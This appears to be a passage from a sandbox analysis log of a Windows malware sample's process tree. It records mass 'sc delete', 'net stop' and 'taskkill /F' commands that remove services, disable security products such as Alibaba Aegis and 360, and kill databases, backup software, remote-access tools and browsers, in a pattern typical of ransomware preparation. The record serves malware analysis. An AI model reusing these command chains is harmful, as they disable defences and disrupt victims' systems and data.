C:\Windows\SysWOW64\sc.exesc delete TCPIDDAService4⤵
- Launches sc.exe
PID:1656
-
-
C:\Windows\SysWOW64\sc.exesc delete WebAttendServer4⤵
- Launches sc.exe
PID:2064
-
-
C:\Windows\SysWOW64\sc.exesc delete UIODetect4⤵PID:2684
-
-
C:\Windows\SysWOW64\sc.exesc delete "wanxiao-monitor"4⤵
- Launches sc.exe
PID:2876
-
-
C:\Windows\SysWOW64\sc.exesc delete VMAuthdService4⤵
- Launches sc.exe
PID:2972
-
-
C:\Windows\SysWOW64\sc.exesc delete VMUSBArbService4⤵PID:228
-
-
C:\Windows\SysWOW64\sc.exesc delete VMwareHostd4⤵PID:2148
-
-
C:\Windows\SysWOW64\sc.exesc delete "vm-agent"4⤵
- Launches sc.exe
PID:2556
-
-
C:\Windows\SysWOW64\sc.exesc delete VmAgentDaemon4⤵PID:2592
-
-
C:\Windows\SysWOW64\sc.exesc delete OpenSSHd4⤵
- Launches sc.exe
PID:2820
-
-
C:\Windows\SysWOW64\sc.exesc delete eSightService4⤵PID:3020
-
-
C:\Windows\SysWOW64\sc.exesc delete apachezt4⤵PID:1476
-
-
C:\Windows\SysWOW64\sc.exesc delete Jenkins4⤵PID:2684
-
-
C:\Windows\SysWOW64\sc.exesc delete secbizsrv4⤵PID:2588
-
-
C:\Windows\SysWOW64\sc.exesc delete SQLTELEMETRY4⤵PID:2568
-
-
C:\Windows\SysWOW64\sc.exesc delete MSMQ4⤵
- Launches sc.exe
PID:2936
-
-
C:\Windows\SysWOW64\sc.exesc delete smtpsvrJT4⤵
- Launches sc.exe
PID:2980
-
-
C:\Windows\SysWOW64\sc.exesc delete zyb_sync4⤵PID:3016
-
-
C:\Windows\SysWOW64\sc.exesc delete 360EntHttpServer4⤵PID:2696
-
-
C:\Windows\SysWOW64\sc.exesc delete 360EntSvc4⤵PID:2908
-
-
C:\Windows\SysWOW64\sc.exesc delete 360EntClientSvc4⤵PID:3004
-
-
C:\Windows\SysWOW64\sc.exesc delete NFWebServer4⤵PID:2996
-
-
C:\Windows\SysWOW64\sc.exesc delete wampapache4⤵PID:2888
-
-
C:\Windows\SysWOW64\sc.exesc delete MSSEARCH4⤵PID:2560
-
-
C:\Windows\SysWOW64\sc.exesc delete msftesql4⤵PID:2284
-
-
C:\Windows\SysWOW64\sc.exesc delete "SyncBASE Service"4⤵PID:2612
-
-
C:\Windows\SysWOW64\sc.exesc delete OracleDBConcoleorcl4⤵PID:2796
-
-
C:\Windows\SysWOW64\sc.exesc delete OracleJobSchedulerORCL4⤵PID:2572
-
-
C:\Windows\SysWOW64\sc.exesc delete OracleMTSRecoveryService4⤵PID:2996
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color e & @taskkill /IM sqlservr.exe /F & @taskkill /IM httpd.exe /F & @taskkill /IM java.exe /F & @taskkill /IM fdhost.exe /F & @taskkill /IM fdlauncher.exe /F & @taskkill /IM reportingservicesservice.exe /F & @taskkill /IM softmgrlite.exe /F & @taskkill /IM sqlbrowser.exe /F & @taskkill /IM ssms.exe /F & @taskkill /IM vmtoolsd.exe /F & @taskkill /IM baidunetdisk.exe /F & @taskkill /IM yundetectservice.exe /F & @taskkill /IM ssclient.exe /F & @taskkill /IM GNAupdaemon.exe /F & @taskkill /IM RAVCp164.exe /F & @taskkill /IM igfxEM.exe /F & @taskkill /IM igfxHK.exe /F & @taskkill /IM igfxTray.exe /F & @taskkill /IM 360bdoctor.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM PrivacyIconClient.exe /F & @taskkill /IM UIODetect.exe /F & @taskkill /IM AutoDealService.exe /F & @taskkill /IM IDDAService.exe /F & @taskkill /IM EnergyDataService.exe /F & @taskkill /IM MPService.exe /F & @taskkill /IM TransMain.exe /F & @taskkill /IM DAService.exe /F & @taskkill /IM GoogleCrashHandler.exe /F & @taskkill /IM GoogleCrashHandler64.exe /F & @taskkill /IM GoogleUpdate.exe /F & @taskkill /IM cohernece.exe /F & @taskkill /IM vmware-tray.exe /F & @taskkill /IM MsDtsSrvr.exe /F & @taskkill /IM msmdsrv.exe /F & @taskkill /IM "FileZilla server.exe" /F & @taskkill /IM UpdateData.exe /F & @taskkill /IM WebApi.Host.exe /F & @taskkill /IM VGAuthService.exe /F & @taskkill /IM omtsreco.exe /F & @taskkill /IM TNSLSNR.exe /F & @taskkill /IM oracle.exe /F & @taskkill /IM msdtc.exe /F & @taskkill /IM mmc.exe /F & @taskkill /IM emagent.exe /F & @taskkill /IM SoftMgrLite.exe /F & @taskkill /IM UIODetect.exe /F & @taskkill /IM AutoDealService.exe /F & @taskkill /IM Admin.exe /F & @taskkill /IM IDDAService.exe /F & @taskkill /IM EnergyDataService.exe /F & @taskkill /IM EnterprisePortal.exe /F & @taskkill /IM MPService.exe /F & @taskkill /IM TransMain.exe /F & @taskkill /IM DAService.exe /F & @taskkill /IM tomcat7.exe /F & @taskkill /IM cohernece.exe /F & @taskkill /IM vmware-tray.exe /F & @taskkill /IM MsDtsSrvr.exe /F & @taskkill /IM Kingdee.K3.CRM.MMC.MMCService.exe /F & @taskkill /IM Kingdee.k3.Weixin.ClientService.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.BkgSvcHost.exe /F & @taskkill /IM Kingdee.K3.HR.Server.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.KDSvrMgrHost.exe /F & @taskkill /IM tomcat5.exe /F & @taskkill /IM Kingdee.DeskTool.exe /F & @taskkill /IM UserClient.exe /F & @taskkill /IM GNAupdaemon.exe /F & @taskkill /IM mysqld.exe /F & @taskkill /IM ImtsEventSvr.exe /F & @taskkill /IM mysqld-nt.exe /F & @taskkill /IM 360EnterpriseDiskUI.exe /F & @taskkill /IM msmdsrv.exe /F & @taskkill /IM UpdateData.exe /F & @taskkill /IM WebApi.Host.exe /F & @taskkill /IM VGAuthService.exe /F & @taskkill /IM omtsreco.exe /F & @taskkill /IM TNSLSNR.exe /F & @taskkill /IM oracle.exe /F & @taskkill /IM msdtc.exe /F & @taskkill /IM mmc.exe /F & @taskkill /IM emagent.exe /F & @taskkill /IM SoftMgrLite.exe /F & @taskkill /IM tomcat8.exe /F & @taskkill /IM QQprotect.exe /F & @taskkill /IM isqlplussvc.exe /F & @taskkill /IM nmesrvc.exe /F & @taskkill /IM mysqld.exe /F & @taskkill /IM jusched.exe /F & @taskkill /IM MtxHotPlugService.exe /F & @taskkill /IM jucheck.exe /F & @taskkill /IM wordpad.exe /F & @taskkill /IM SecureCRT.exe /F & @taskkill /IM chrome.exe /F & @taskkill /IM Thunder.exe /F"3⤵PID:308
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sqlservr.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1068
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM httpd.exe /F4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2588
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM java.exe /F4⤵PID:2880
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM fdhost.exe /F4⤵PID:2188
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM fdlauncher.exe /F4⤵PID:2208
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM reportingservicesservice.exe /F4⤵PID:2772
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM softmgrlite.exe /F4⤵PID:856
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sqlbrowser.exe /F4⤵PID:2296
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ssms.exe /F4⤵PID:2788
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM vmtoolsd.exe /F4⤵PID:2660
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM baidunetdisk.exe /F4⤵PID:1524
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM yundetectservice.exe /F4⤵PID:2496
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ssclient.exe /F4⤵PID:2832
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM GNAupdaemon.exe /F4⤵PID:1660
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM RAVCp164.exe /F4⤵PID:1056
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM igfxEM.exe /F4⤵PID:2580
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM igfxHK.exe /F4⤵PID:2300
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM igfxTray.exe /F4⤵PID:3064
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM 360bdoctor.exe /F4⤵
- Kills process with taskkill
PID:2176
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM GNCEFExternal.exe /F4⤵PID:2580
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM PrivacyIconClient.exe /F4⤵PID:2408
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM UIODetect.exe /F4⤵PID:1924
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM AutoDealService.exe /F4⤵PID:3016
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM IDDAService.exe /F4⤵PID:2752
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color a & @net stop UIODetect & @net stop VMwareHostd & @net stop TeamViewer8 & @net stop VMUSBArbService & @net stop VMAuthdService & @net stop wanxiao-monitor & @net stop WebAttendServer & @net stop mysqltransport & @net stop VMnetDHCP & @net stop "VMware NAT Service" & @net stop Tomcat8 & @net stop TeamViewer & @net stop QPCore & @net stop CASLicenceServer & @net stop CASWebServer & @net stop AutoUpdateService & @net stop "Alibaba Security Aegis Detect Service" & @net stop "Alibaba Security Aegis Update Service" & @net stop "AliyunService" & @net stop CASXMLService & @net stop AGSService & @net stop RapService & @net stop DDNSService & @net stop iNethinkSQLBackupSvc & @net stop CASVirtualDiskService & @net stop CASMsgSrv & @net stop "OracleOraDb10g_homeliSQL*Plus" & @net stop OracleDBConsoleilas & @net stop MySQL & @net stop TPlusStdAppService1220 & @net stop TPlusStdTaskService1220 & @net stop TPlusStdUpgradeService1220 & @net stop K3MobileServiceManage & @net stop "FileZilla Server" & @net stop DDVRulesProcessor & @net stop ImtsEventSvr & @net stop AutoUpdatePatchService & @net stop OMAILREPORT & @net stop "Dell Hardware Support" & @net stop SupportAssistAgent & @net stop K3MMainSuspendService & @net stop KpService & @net stop ceng_web_svc_d & @net stop KugouService & @net stop pcas & @net stop U8SendMailAdmin & @net stop "Bonjour Service" & @net stop "Apple Mobile Device Service" & @net stop "ABBYY.Licensing.FineReader.Professional.12.0""3⤵PID:1652
-
C:\Windows\SysWOW64\net.exenet stop UIODetect4⤵PID:1644
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop UIODetect5⤵PID:1548
-
-
-
C:\Windows\SysWOW64\net.exenet stop VMwareHostd4⤵PID:1156
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VMwareHostd5⤵PID:1504
-
-
-
C:\Windows\SysWOW64\net.exenet stop TeamViewer84⤵
- Discovers systems in the same network
PID:2076 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TeamViewer85⤵PID:2116
-
-
-
C:\Windows\SysWOW64\net.exenet stop VMUSBArbService4⤵PID:2152
-
-
C:\Windows\SysWOW64\net.exenet stop VMAuthdService4⤵PID:2452
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VMAuthdService5⤵PID:2540
-
-
-
C:\Windows\SysWOW64\net.exenet stop wanxiao-monitor4⤵PID:2828
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wanxiao-monitor5⤵PID:2952
-
-
-
C:\Windows\SysWOW64\net.exenet stop WebAttendServer4⤵PID:1924
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WebAttendServer5⤵PID:2148
-
-
-
C:\Windows\SysWOW64\net.exenet stop mysqltransport4⤵PID:2612
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop mysqltransport5⤵PID:2728
-
-
-
C:\Windows\SysWOW64\net.exenet stop VMnetDHCP4⤵PID:2780
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VMnetDHCP5⤵PID:2884
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VMware NAT Service"4⤵PID:2232
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VMware NAT Service"5⤵PID:2256
-
-
-
C:\Windows\SysWOW64\net.exenet stop Tomcat84⤵PID:2608
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Tomcat85⤵PID:2876
-
-
-
C:\Windows\SysWOW64\net.exenet stop TeamViewer4⤵
- Discovers systems in the same network
PID:2800 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TeamViewer5⤵PID:2880
-
-
-
C:\Windows\SysWOW64\net.exenet stop QPCore4⤵PID:3040
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QPCore5⤵PID:2352
-
-
-
C:\Windows\SysWOW64\net.exenet stop CASLicenceServer4⤵PID:2596
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CASLicenceServer5⤵PID:2904
-
-
-
C:\Windows\SysWOW64\net.exenet stop CASWebServer4⤵PID:1208
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CASWebServer5⤵PID:3024
-
-
-
C:\Windows\SysWOW64\net.exenet stop AutoUpdateService4⤵PID:2540
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AutoUpdateService5⤵PID:2256
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Alibaba Security Aegis Detect Service"4⤵PID:2552
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Alibaba Security Aegis Detect Service"5⤵PID:2572
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Alibaba Security Aegis Update Service"4⤵PID:2936
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Alibaba Security Aegis Update Service"5⤵PID:1088
-
-
-
C:\Windows\SysWOW64\net.exenet stop "AliyunService"4⤵PID:2272
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "AliyunService"5⤵PID:2800
-
-
-
C:\Windows\SysWOW64\net.exenet stop CASXMLService4⤵PID:2540
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CASXMLService5⤵PID:2992
-
-
-
C:\Windows\SysWOW64\net.exenet stop AGSService4⤵PID:1580
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AGSService5⤵PID:2384
-
-
-
C:\Windows\SysWOW64\net.exenet stop RapService4⤵PID:228
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop RapService5⤵PID:3064
-
-
-
C:\Windows\SysWOW64\net.exenet stop DDNSService4⤵PID:1124
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop DDNSService5⤵PID:2696
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color e & @taskkill /IM ThunderPlatform.exe /F & @taskkill /IM iexplore.exe /F & @taskkill /IM vm-agent.exe /F & @taskkill /IM vm-agent-daemon.exe /F & @taskkill /IM eSightService.exe /F & @taskkill /IM cygrunsrv.exe /F & @taskkill /IM wrapper.exe /F & @taskkill /IM nginx.exe /F & @taskkill /IM node.exe /F & @taskkill /IM sshd.exe /F & @taskkill /IM vm-tray.exe /F & @taskkill /IM iempwatchdog.exe /F & @taskkill /IM sqlwriter.exe /F & @taskkill /IM php.exe /F & @taskkill /IM "notepad++.exe" /F & @taskkill /IM "phpStudy.exe" /F & @taskkill /IM OPCClient.exe /F & @taskkill /IM navicat.exe /F & @taskkill /IM SupportAssistAgent.exe /F & @taskkill /IM SunloginClient.exe /F & @taskkill /IM SOUNDMAN.exe /F & @taskkill /IM WeChat.exe /F & @taskkill /IM TXPlatform.exe /F & @taskkill /IM Tencentdll.exe /F & @taskkill /IM httpd.exe /F & @taskkill /IM jenkins.exe /F & @taskkill /IM QQ.exe /F & @taskkill /IM HaoZip.exe /F & @taskkill /IM HaoZipScan.exe /F & @taskkill /IM navicat.exe /F & @taskkill /IM TSVNCache.exe /F & @taskkill /IM RAVCpl64.exe /F & @taskkill /IM secbizsrv.exe /F & @taskkill /IM aliwssv.exe /F & @taskkill /IM Helper_Haozip.exe /F & @taskkill /IM acrotray.exe /F & @taskkill /IM "FileZilla Server Interface.exe" /F & @taskkill /IM YoudaoNote.exe /F & @taskkill /IM YNoteCefRender.exe /F & @taskkill /IM idea.exe /F & @taskkill /IM fsnotifier.exe /F & @taskkill /IM picpick.exe /F & @taskkill /IM lantern.exe /F & @taskkill /IM sysproxy-cmd.exe /F & @taskkill /IM service.exe /F & @taskkill /IM pcas.exe /F & @taskkill /IM PresentationFontCache.exe /F & @taskkill /IM RtWlan.exe /F & @taskkill /IM monitor.exe /F & @taskkill /IM Correspond.exe /F & @taskkill /IM ChatServer.exe /F & @taskkill /IM InetMgr.exe /F & @taskkill /IM LogonServer.exe /F & @taskkill /IM GameServer.exe /F & @taskkill /IM ServUAdmin.exe /F & @taskkill /IM ServUDaemon.exe /F & @taskkill /IM update0.exe /F & @taskkill /IM server.exe /F & @taskkill /IM w3wp.exe /F & @taskkill /IM notepad.exe /F & @taskkill /IM PalmInputService.exe /F & @taskkill /IM PalmInputGuard.exe /F & @taskkill /IM UpdateServer.exe /F & @taskkill /IM UpdateGate.exe /F & @taskkill /IM DBServer.exe /F & @taskkill /IM LoginGate.exe /F & @taskkill /IM SelGate.exe /F & @taskkill /IM RunGate.exe /F & @taskkill /IM M2Server.exe /F & @taskkill /IM LogDataServer.exe /F & @taskkill /IM LoginSrv.exe /F & @taskkill /IM sqlceip.exe /F & @taskkill /IM mqsvc.exe /F & @taskkill /IM RefundOrder.exe /F & @taskkill /IM ClamTray.exe /F & @taskkill /IM AdobeARM.exe /F & @taskkill /IM veeam.backup.shell.exe /F & @taskkill /IM VpxClient.exe /F & @taskkill /IM vmware-vmrc.exe /F & @taskkill /IM DSCPatchService.exe /F & @taskkill /IM scktsrvr.exe /F & @taskkill /IM ServerManager.exe /F & @taskkill /IM Dispatcher.exe /F & @taskkill /IM EFDispatcher.exe /F & @taskkill /IM sqlceip.exe /F & @taskkill /IM mqsvc.exe /F & @taskkill /IM RefundOrder.exe /F & @taskkill /IM ClamTray.exe /F & @taskkill /IM AdobeARM.exe /F & @taskkill /IM veeam.backup.shell.exe /F & @taskkill /IM VpxClient.exe /F & @taskkill /IM vmware-vmrc.exe /F & @taskkill /IM DSCPatchService.exe /F & @taskkill /IM scktsrvr.exe /F & @taskkill /IM ServerManager.exe /F & @taskkill /IM Dispatcher.exe /F & @taskkill /IM EFDispatcher.exe /F & @taskkill /IM ClamWin.exe /F & @taskkill /IM srvany.exe /F & @taskkill /IM JT_AG-8332.exe /F & @taskkill /IM XXTClient.exe /F & @taskkill /IM clean.exe /F & @taskkill /IM sqlservr.exe /F & @taskkill /IM "Net.Service.exe" /F & @taskkill /IM plsqldev.exe /F & @taskkill /IM splwow64.exe /F & @taskkill /IM Oobe.exe /F & @taskkill /IM QQYService.exe /F & @taskkill /IM sqlservr.exe /F & @taskkill /IM SGTool.exe /F & @taskkill /IM postgres.exe /F & @taskkill /IM AppVShNotify.exe /F & @taskkill /IM OfficeClickToRun.exe /F & @taskkill /IM EntDT.exe /F & @taskkill /IM EntPublish.exe /F"3⤵PID:1440
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ThunderPlatform.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1848
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM iexplore.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2556
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM vm-agent.exe /F4⤵PID:2780
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM vm-agent-daemon.exe /F4⤵PID:3024
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM eSightService.exe /F4⤵PID:2340
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM cygrunsrv.exe /F4⤵PID:2324
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM wrapper.exe /F4⤵PID:2720
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM nginx.exe /F4⤵PID:1644
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM node.exe /F4⤵PID:2092
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sshd.exe /F4⤵PID:2636
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM vm-tray.exe /F4⤵PID:2628
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM iempwatchdog.exe /F4⤵PID:2948
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sqlwriter.exe /F4⤵PID:1936
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM php.exe /F4⤵PID:2196
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM "notepad++.exe" /F4⤵PID:2456
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM "phpStudy.exe" /F4⤵PID:2952
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM OPCClient.exe /F4⤵PID:2660
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM navicat.exe /F4⤵PID:2092
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SupportAssistAgent.exe /F4⤵PID:2688
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SunloginClient.exe /F4⤵PID:2928
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SOUNDMAN.exe /F4⤵PID:2944
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM WeChat.exe /F4⤵PID:108
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM TXPlatform.exe /F4⤵PID:2356
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM Tencentdll.exe /F4⤵PID:2916
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM httpd.exe /F4⤵
- Kills process with taskkill
PID:2300
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM jenkins.exe /F4⤵PID:3056
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM QQ.exe /F4⤵PID:2280
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM HaoZip.exe /F4⤵PID:2712
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color e & @taskkill /IM pg_ctl.exe /F & @taskkill /IM rcrelay.exe /F & @taskkill /IM SogouImeBroker.exe /F & @taskkill /IM CCenter.exe /F & @taskkill /IM ScanFrm.exe /F & @taskkill /IM d_manage.exe /F & @taskkill /IM RsTray.exe /F & @taskkill /IM wampmanager.exe /F & @taskkill /IM RavTray.exe /F & @taskkill /IM mssearch.exe /F & @taskkill /IM sqlmangr.exe /F & @taskkill /IM msftesql.exe /F & @taskkill /IM SyncBaseSvr.exe /F & @taskkill /IM oracle.exe /F & @taskkill /IM TNSLSNR.exe /F & @taskkill /IM SyncBaseConsole.exe /F & @taskkill /IM aspnet_state.exe /F & @taskkill /IM AutoBackUpEx.exe /F & @taskkill /IM redis-server.exe /F & @taskkill /IM MySQLNotifier.exe /F & @taskkill /IM oravssw.exe /F & @taskkill /IM fppdis5.exe /F & @taskkill /IM His6Service.exe /F & @taskkill /IM dinotify.exe /F & @taskkill /IM JhTask.exe /F & @taskkill /IM Executer.exe /F & @taskkill /IM AllPassCBHost.exe /F & @taskkill /IM ap_nginx.exe /F & @taskkill /IM AndroidServer.exe /F & @taskkill /IM XT.exe /F & @taskkill /IM XTService.exe /F & @taskkill /IM AllPassMCService.exe /F & @taskkill /IM IMEDICTUPDATE.exe /F & @taskkill /IM FlashHelperService.exe /F & @taskkill /IM ap_redis-server.exe /F & @taskkill /IM UtilDev.WebServer.Monitor.exe /F & @taskkill /IM UWS.AppHost.Clr2.x86.exe /F & @taskkill /IM FoxitProtect.exe /F & @taskkill /IM ftnlses.exe /F & @taskkill /IM ftusbrdwks.exe /F & @taskkill /IM ftusbrdsrv.exe /F & @taskkill /IM ftnlsv.exe /F & @taskkill /IM Syslogd_Service.exe /F & @taskkill /IM UWS.HighPrivilegeUtilities.exe /F & @taskkill /IM ftusbsrv.exe /F & @taskkill /IM UWS.LowPrivilegeUtilities.exe /F & @taskkill /IM UWS.AppHost.Clr2.AnyCpu.exe /F & @taskkill /IM winguard_x64.exe /F & @taskkill /IM vmconnect.exe /F & @taskkill /IM UWS.AppHost.Clr2.x86.exe /F & @taskkill /IM firefox.exe /F & @taskkill /IM usbrdsrv.exe /F & @taskkill /IM usbserver.exe /F & @taskkill /IM Foxmail.exe /F & @taskkill /IM qemu-ga.exe /F & @taskkill /IM wwbizsrv.exe /F & @taskkill /IM ZTEFileTranS.exe /F & @taskkill /IM ZTEUsbIpc.exe /F & @taskkill /IM ZTEUsbIpcGuard.exe /F & @taskkill /IM AlibabaProtect.exe /F & @taskkill /IM kbasesrv.exe /F & @taskkill /IM ZTEVdservice.exe /F & @taskkill /IM MMRHookService.exe /F & @taskkill /IM extjob.exe /F & @taskkill /IM IpOverUsbSvc.exe /F & @taskkill /IM VMwareTray.exe /F & @taskkill /IM devenv.exe /F & @taskkill /IM PerfWatson2.exe /F & @taskkill /IM ServiceHub.Host.Node.x86.exe /F & @taskkill /IM ServiceHub.IdentityHost.exe /F & @taskkill /IM ServiceHub.VSDetouredHost.exe /F & @taskkill /IM ServiceHub.SettingsHost.exe /F & @taskkill /IM ServiceHub.Host.CLR.x86.exe /F & @taskkill /IM ServiceHub.RoslynCodeAnalysisService32.exe /F & @taskkill /IM ServiceHub.DataWarehouseHost.exe /F & @taskkill /IM Microsoft.VisualStudio.Web.Host.exe /F & @taskkill /IM SQLEXPRWT.exe /F & @taskkill /IM setup.exe /F & @taskkill /IM remote.exe /F & @taskkill /IM setup100.exe /F & @taskkill /IM landingpage.exe /F & @taskkill /IM WINWORD.exe /F & @taskkill /IM KuaiYun.exe /F & @taskkill /IM HwsHostPanel.exe /F & @taskkill /IM NovelSpider.exe /F & @taskkill /IM Service_KMS.exe /F & @taskkill /IM WebServer.exe /F & @taskkill /IM ChsIME.exe /F & @taskkill /IM btPanel.exe /F & @taskkill /IM Protect_2345Explorer.exe /F & @taskkill /IM Pic_2345Svc.exe /F & @taskkill /IM vmware-converter-a.exe /F & @taskkill /IM vmware-converter.exe /F & @taskkill /IM vmware.exe /F & @taskkill /IM vmware-unity-helper.exe /F & @taskkill /IM vmware-vmx.exe /F & @taskkill /IM vmware-vmx.exe /F & @taskkill /IM usysdiag.exe /F & @taskkill /IM PopBlock.exe /F & @taskkill /IM gsinterface.exe /F & @taskkill /IM Gemstar.Group.CRS.Client.exe /F & @taskkill /IM TenpayServer.exe /F & @taskkill /IM RemoteExecService.exe /F & @taskkill /IM VS_TrueCorsManager.exe /F & @taskkill /IM ntpsvr-2019-01-22-wgs84.exe /F & @taskkill /IM rtkjob-ion.exe /F & @taskkill /IM ntpsvr-2019-01-22-no-usrcheck.exe /F & @taskkill /IM NtripCaster-2019-01-08.exe /F & @taskkill /IM BACSTray.exe /F & @taskkill /IM protect.exe /F & @taskkill /IM hfs.exe /F & @taskkill /IM jzmis.exe /F & @taskkill /IM NewFileTime_x64.exe /F & @taskkill /IM 2345MiniPage.exe /F & @taskkill /IM JMJ_server.exe /F & @taskkill /IM cacls.exe /F & @taskkill /IM gpsdaemon.exe /F & @taskkill /IM gpsusersvr.exe /F & @taskkill /IM gpsdownsvr.exe /F & @taskkill /IM gpsstoragesvr.exe /F & @taskkill /IM gpsdataprocsvr.exe /F & @taskkill /IM gpsftpd.exe /F & @taskkill /IM gpsmysqld.exe /F & @taskkill /IM gpstomcat6.exe /F & @taskkill /IM gpsloginsvr.exe /F & @taskkill /IM gpsmediasvr.exe /F & @taskkill /IM gpsgatewaysvr.exe /F & @taskkill /IM gpssvrctrl.exe /F & @taskkill /IM zabbix_agentd.exe /F"3⤵PID:216
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM pg_ctl.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1784
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM rcrelay.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2548
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SogouImeBroker.exe /F4⤵PID:2764
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM CCenter.exe /F4⤵PID:3048
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ScanFrm.exe /F4⤵PID:2176
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM d_manage.exe /F4⤵PID:2304
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM RsTray.exe /F4⤵PID:2752
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM wampmanager.exe /F4⤵PID:3008
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM RavTray.exe /F4⤵PID:1688
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM mssearch.exe /F4⤵PID:2448
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sqlmangr.exe /F4⤵PID:2268
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM msftesql.exe /F4⤵PID:2936
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SyncBaseSvr.exe /F4⤵PID:2160
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM oracle.exe /F4⤵PID:1688
-
-
